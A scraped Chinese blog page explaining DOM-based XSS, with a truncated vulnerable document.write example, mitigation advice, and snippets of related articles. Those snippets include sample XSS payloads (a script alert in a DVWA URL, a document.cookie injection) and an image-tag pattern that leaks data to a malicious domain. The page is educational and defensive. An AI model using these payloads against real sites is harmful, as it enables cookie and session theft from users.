web渗透—xss之基于DOM漏洞

最新推荐文章于 2025-03-10 09:00:00 发布
最新推荐文章于 2025-03-10 09:00:00 发布
阅读量4.8k 收藏 6
点赞数 2
分类专栏： 渗透 文章标签： dom xss web
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.youkuaiyun.com/dongxie_tk/article/details/78529717
版权
DOM-based XSS漏洞是由于客户端脚本未正确处理DOM中的用户输入数据导致的安全问题。攻击者可通过构造特殊URL，使脚本将恶意代码写入页面，执行XSS攻击。防止DOM XSS的技术包括严格检查输入、验证数据格式、服务端过滤、输出检查及应用前测试威胁。

摘要生成于 C知道 ，由 DeepSeek-R1 满血版支持， 前往体验 >

这个漏洞往往存在于客户端脚本，如果一个Javascript脚本访问需要参数的URL，且需要将该信息用于写入自己的页面，且信息未被编码，那么就有可能存在这个漏洞。

(一)DOM—based XSS漏洞的产生

DOM—based XSS漏洞是基于文档对象模型Document Objeet Model，DOM)的一种漏洞。DOM是一个与平台、编程语言无关的接口，它允许程序或脚本动态地访问和更新文档内容、结构和样式，处理后的结果能够成为显示页面的一部分。DOM中有很多对象，其中一些是用户可以操纵的，如uRI，location，refelTer等。客户端的脚本程序可以通过DOM动态地检查和修改页面内容，它不依赖于提交数据到服务器端，而从客户端获得DOM中的数据在本地执行，如果DOM中的数据没有经过严格确认，就会产生DOM—based XSS漏洞。

(二)DOM—based XSS攻击原理

DOM—based XSS攻击源于DOM相关的属性和方法，被插入用于XSS攻击的脚本。一个典型的例子如下所述。

H TTP请求http：／／www．DBXSSed．site／welcome．html?name=zhangsan使用以下的脚本打印出登录用户zhangsan的名字，即

<SCRIPT>var pos=docmnent．URL．indexOf(”name=”)+5;document．write(document

最低0.47元/天 解锁文章
web渗透--47--基于DOM的XSS跨站
武天旭的博客
09-22 1866
1、漏洞描述 文档对象模型（Document Object Model），即DOM。是用来在浏览器中表示文件的结构格式。DOM支持动态脚本，诸如JavaScript来引用文档组件，如表单字段或会话cookie。DOM也用于浏览器的安全，例如限制在不同域的脚本获取其它域的cookie会话。当活动内容（如JavaScript函数）被特制的请求修改时，可能会出现基于DOM的XSS漏洞，这样能够使得攻击者可以控制DOM元素。
Web渗透测试与XSS攻击详解
weixin_65409651的博客
07-22 563
Web渗透测试（Web Penetration Testing）是一种模拟黑客攻击的方法，用于评估Web应用程序的安全性。通过渗透测试，安全专家可以发现系统中的漏洞和弱点，并提供修复建议，以防止真正的黑客利用这些漏洞进行攻击。
DOM XSS
chjunjun的博客
11-04 393
0x01.是什么?? DOM XSS 本质上是一种不涉及服务端的纯前端漏洞，通过浏览器端解析造成攻击。在浏览器端解析修改DOM树，由于前端代码在浏览器相当于‘公开’的，DOM XSS这类漏洞容易被分析发现。而且DOM XSS 重要的优势是它可以绕过waf 0x02.DOM XSS 有哪些场景？ 一般的攻击方法是：攻击者构造一个URL，诱发用户点击，用户点击后，URL可以利用DOM X...
JAVA Web应用常见漏洞与修复建议_基于dom的xss是将用户可控的javascript数据输出到html页面中而产生的漏洞,为了避
2401_84968693的博客
05-12 1555
自我介绍一下，小编13年上海交大毕业，曾经在小公司待过，也去过华为、OPPO等大厂，18年进入阿里一直到现在。深知大多数网络安全工程师，想要提升技能，往往是自己摸索成长，但自己不成体系的自学效果低效又漫长，而且极易碰到天花板技术停滞不前！因此收集整理了一份《2024年网络安全全套学习资料》，初衷也很简单，就是希望能够帮助到想自学提升又不知道该从何学起的朋友。[外链图片转存中…(img-9DtDKTL0-1715491483638)]
渗透测试&护网&网络安全---xss
zhenghdmax的博客
03-10 1060
例如，使用<img src="http://[恶意域名]/<敏感数据>">，当浏览器尝试加载该图片时，会向恶意域名对应的DNS服务器发送请求，携带敏感数据作为子域名或路径参数，攻击者通过监控DNS服务器日志获取数据。：审视网页中所有接收用户输入的地方，如表单字段、URL参数、搜索框等，尝试输入特殊字符（如<script>、<img>等），观察页面是否过滤或转义。：攻击者将恶意脚本存储在目标网站，当管理员等高权限用户访问时，脚本执行，可能窃取管理员会话、修改网站配置、添加恶意用户等，实现提权操作。
（转）DOM-Based XSS（基于DOM的XSS）
weixin_30518397的博客
08-29 451
转自：http://hi.baidu.com/gongyanlei123/blog/item/d5a5d07196a2d20e8701b0b0.html 因为对DOM XSS不清楚，查了下，顺便转载两篇文章做下记录 这个漏洞往往存在于客户端脚本，如果一个Javascript脚本访问需要参数的URL，且需要将该信息用于写入自己的页面，且信息未被编码，那么就有可能存在这个漏洞。 (一)D...
Web渗透：XSS-DOM-based XSS
WolvenSec的博客
06-21 1753
DOM-based XSS（基于DOM的跨站脚本攻击）是一种XSS攻击类型，其特点是恶意脚本通过操作文档对象模型（DOM）直接在客户端执行，而无需经过服务器的处理。这种攻击主要利用客户端JavaScript代码中的漏洞，使得攻击者能够在浏览器中注入并执行恶意代码。
渗透测试漏洞之XSS漏洞
weixin_50651979的博客
04-07 1003
2、存储型XSS，持久性XSSS，存储型XSS是最危险的一种跨站脚本漏洞，当攻击者提交一段代码后，被服务端接收并存储，当攻击者或用户再次访问某个页面时，这段XSS代码被程序读出来响应给浏览器，造成XSS跨站攻击。1、反射型XSS 非持久性XSS（一次性），当用户访问一个带有XSS代码 的HTML请求时，服务端接收后处理，然后把带有XSS的数据发送到浏览器，浏览器解析这段带有XSS代码的数据后，造成XSS漏洞。：存储型XSS漏洞，由于其持久化特性，容易造成蠕虫病毒的传播，进一步扩大攻击范围。
Web安全XSS-Labs靶场通关详解：常见XSS漏洞场景及绕过技巧分析与防御建议
最新发布
04-17
内容概要：本文档详细介绍了 XSS-Labs靶场的通关思路及解法，涵盖了常见的XSS（跨站脚本攻击）漏洞场景。文档首先介绍了XSS的三种类型（反射型、存储型、DOM型）及常见注入点（URL参数、表单输入、Cookie、HTTP头）...
DOM 型 XSS 攻击演示（附链接）
Flag少侠的博客
01-25 4987
DOM 型 XSS 攻击演示（附链接）
findom-xss:一个基于DOM的快速XSS漏洞扫描程序，非常简单
04-22
FinDOM-XSS FinDOM-XSS是一种工具，可让您快速找到可能的和/或潜在的基于DOM的XSS漏洞。 安装 $ git clone https://github.com/dwisiswant0/findom-xss.git --recurse-submodules 依赖项： 用法 要在目标上运行该工具，只需使用以下命令。 $ ./findom-xss.sh https://domain.tld/about-us.html 这将针对domain.tld运行该工具。 URL也可以通过管道传递到findom-xss并对其进行扫描。 例如： $ cat urls.txt | ./findom-xss.sh 第二个参数可用于指定输出文件。 $ ./findom-xss.sh https://domain.tld/about-us.html /path/to/output.txt
Web渗透测试之XSS攻击：基于DOM的XSS
vodkaDL的博客
03-04 7460
文章目录前言基于DOM的XSS总结 前言 基于DOM的XSS 总结
【DVWA系列】十、XSS(DOM) 基于DOM型的XSS（源码分析&漏洞利用）
Pluto.的博客
03-12 1543
文章目录DVWAXSS(DOM) 基于DOM的跨站脚本攻击一、Low 级别二、Medium 级别三、High 级别四、Impossible 级别 DVWA XSS(DOM) 基于DOM的跨站脚本攻击 一、Low 级别 没有任何的安全保护措施 下拉框选择语言提交后，在url栏中的default参数直接显示： 构造XSS代码，修改参数，成功执行脚本： ?default=<script>alert('/xss/')</script> 查看网页源代码，脚本插入到代码中，所以执行了
跨站脚本，基于DOM的XSS攻击
Veggiel的博客
09-26 6123
问题：      应用程序的客户端代码从document.location、document.URL、document.referrer或 其 他 任 何攻击者可以修改的浏览器对象获取数据，如果未验证数据是否存在恶意代码的情况下 ，就将其动态更新到页面的DOM 节点,应用程序将易于受到基于DOM 的XSS攻击。 例如：下面的JavaScript代码片段可从url中读取msg信息，并将其显示给用户...
【应用安全——XSS】DOM型XSS挖掘
Fly_鹏程万里
02-22 2190
DOM-Based XSS是一种基于文档对象模型（Document Object Model，DOM)的Web前端漏洞，简单来说就是JavaScript代码缺陷造成的漏洞。与普通XSS不同的是，DOM XSS是在浏览器的解析中改变页面DOM树，且恶意代码并不在返回页面源码中回显，这使我们无法通过特征匹配来检测DOM XSS。 0x01 页面跳转 页面跳转中常用的三种方式： 1）302跳转 ...
基于DOM的XSS注入漏洞简单解析
weixin_30603633的博客
09-23 457
基于DOM的XSS注入漏洞简单解析http://automationqa.com/forum.php?mod=viewthread&tid=2956&fromuid=21 转载于:https://www.cnblogs.com/hackchecker/p/3335650.html
DOM型XSS
白帽子凯哥哥的博客
05-29 2027
DOM型XSS漏洞是一种特殊类型的XSS,是基于文档对象模型 Document Object Model (DOM)的一种漏洞。DOM全称Document Object Model,是一个与平台、编程语言无关的接口，它允许程序或脚本动态地访问和更新文档内容、结构和样式，处理后的结果能够成为显示页面的一部分。以一张w3c的图来说明，到底什么是dom：dom就是一个树状的模型，你可以编写Javascript代码根据dom一层一层的节点，去遍历/获取/修改对应的节点,对象,值。
DOM-Based XSS
buptisc_txy的专栏
05-18 3315
无论怎样，DOM 的XSS攻击需要小心再小心，最好能在客户端做一个过滤。 这个在服务器端解析时，竟然只能解析一个name？ http://www.vulnerable.site/welcome.html?foobar=name=alert(document.cookie)&name=Joe #号后面的某些浏览器传递不到服务器，但是在某些情况下，url解析后，恶意代码
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值